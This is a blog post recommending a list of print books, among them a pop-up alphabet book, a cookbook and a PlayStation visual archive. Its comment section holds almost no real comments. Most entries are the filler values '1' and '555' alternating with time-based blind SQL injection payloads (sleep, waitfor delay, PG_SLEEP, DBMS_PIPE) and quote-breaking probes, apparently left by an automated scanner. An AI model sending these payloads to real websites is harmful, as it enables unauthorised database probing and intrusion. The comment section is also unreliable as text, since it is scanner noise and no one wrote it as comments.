Do One Thing Well: The Beauty of Print
November 17, 2025 · DH Kong
100 comments

In a world of endless scrolling, print still asks us to pause. To look closely. To turn a page with care. The Beauty of Print celebrates books made by people who love ink, paper, and the feeling of holding something real. From photo essays to pop-up alphabets, cookbooks to architecture oddities — proof that print, done well, still carries its own kind of magic.
No One You Know
Dave Rowntree's Early Blur Photos
Alphabet in Motion: How Letters Get Their Shape
An interactive pop up book that explores the origin of letter forms.
Weird Buildings
Weird and wonderful architecture, for those who thing outside the box.
Spina Americana
An exploration of central America, searching for unity in a time of division.
Food You Want to Eat
The title of Thomas Straker’s cookbook says it all.
Arcade Game Typography
A vibrant collection of 8 bit type. One for the nostalgia junkies.
The First Concepts with Fine Artists Collection
An early introduction to art’s greatest teachers.
Wish Cards
Interactive illustrated cards, for all occasions.
Slow Looking-The Art of Nature
An invitation to slow down and appreciate the beauty of nature.
Playstation-the first 30 years
The definitive visual archive of Playstation, from early prototypes to the latest tech.
Comments
1
555
1
555
1
555
1
555
1
555
1
555
1
555
1
555
1
555
1
555
1
555
1
555
1
555
1
555
1
555
1
555
1
555
1
555
1
555
1
555
1
555
1*if(now()=sysdate(),sleep(15),0)
555
10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z
555
10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z
555
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
555
1-1; waitfor delay '0:0:15' --
555
1-1); waitfor delay '0:0:15' --
555
1-1 waitfor delay '0:0:15' --
555
1MuhPGTNh'; waitfor delay '0:0:15' --
555
1-1 OR 726=(SELECT 726 FROM PG_SLEEP(15))--
555
1-1) OR 90=(SELECT 90 FROM PG_SLEEP(15))--
555
1-1)) OR 982=(SELECT 982 FROM PG_SLEEP(15))--
555
1f9tOtQ2A' OR 853=(SELECT 853 FROM PG_SLEEP(15))--
555
18KvkSfGi') OR 151=(SELECT 151 FROM PG_SLEEP(15))--
555
1hzdEOygh')) OR 368=(SELECT 368 FROM PG_SLEEP(15))--
555
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
555
1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
555
1
555
1'"
555
1����%2527%2522\'\"
555
@@fYd1Q
555
1
555
1
555
1
555
1
555
1
555
1
555
1
555
1
555
1
555
1
555
1
555
1
555
1
555
1
555
1
555
1
555
1
555
1
555
1
555
1
555
1
555
1
555
1
555
1
555
1
555*if(now()=sysdate(),sleep(15),0)
1
5550’XOR(555*if(now()=sysdate(),sleep(15),0))XOR’Z
1
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
1
(select(0)from(select(sleep(15)))v)/‘(select(0)from(select(sleep(15)))v)’“(select(0)from(select(sleep(15)))v)”/
1
555-1; waitfor delay ‘0:0:15’ —
1
555-1); waitfor delay ‘0:0:15’ —
1
555-1 waitfor delay ‘0:0:15’ —
1
555sTRZJJac’; waitfor delay ‘0:0:15’ —
1
555-1 OR 828=(SELECT 828 FROM PG_SLEEP(15))—
1
555-1) OR 77=(SELECT 77 FROM PG_SLEEP(15))—
1
555-1)) OR 860=(SELECT 860 FROM PG_SLEEP(15))—
1
5556XpT7ETf’ OR 674=(SELECT 674 FROM PG_SLEEP(15))—
1
555I6z1Xozu’) OR 61=(SELECT 61 FROM PG_SLEEP(15))—
1
555a3JHRugA’)) OR 381=(SELECT 381 FROM PG_SLEEP(15))—
1
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR||CHR||CHR,15)
1
555’||DBMS_PIPE.RECEIVE_MESSAGE(CHR||CHR||CHR,15)||’
1
555
1
555’"
1
555����%2527%2522\’\"
1
@@jplVf
1
555
1
555
1
555
1
555
1
555
1
555
1
555
1
555
1
555
1
555
1
555
1
555
1
555
1
555
1
555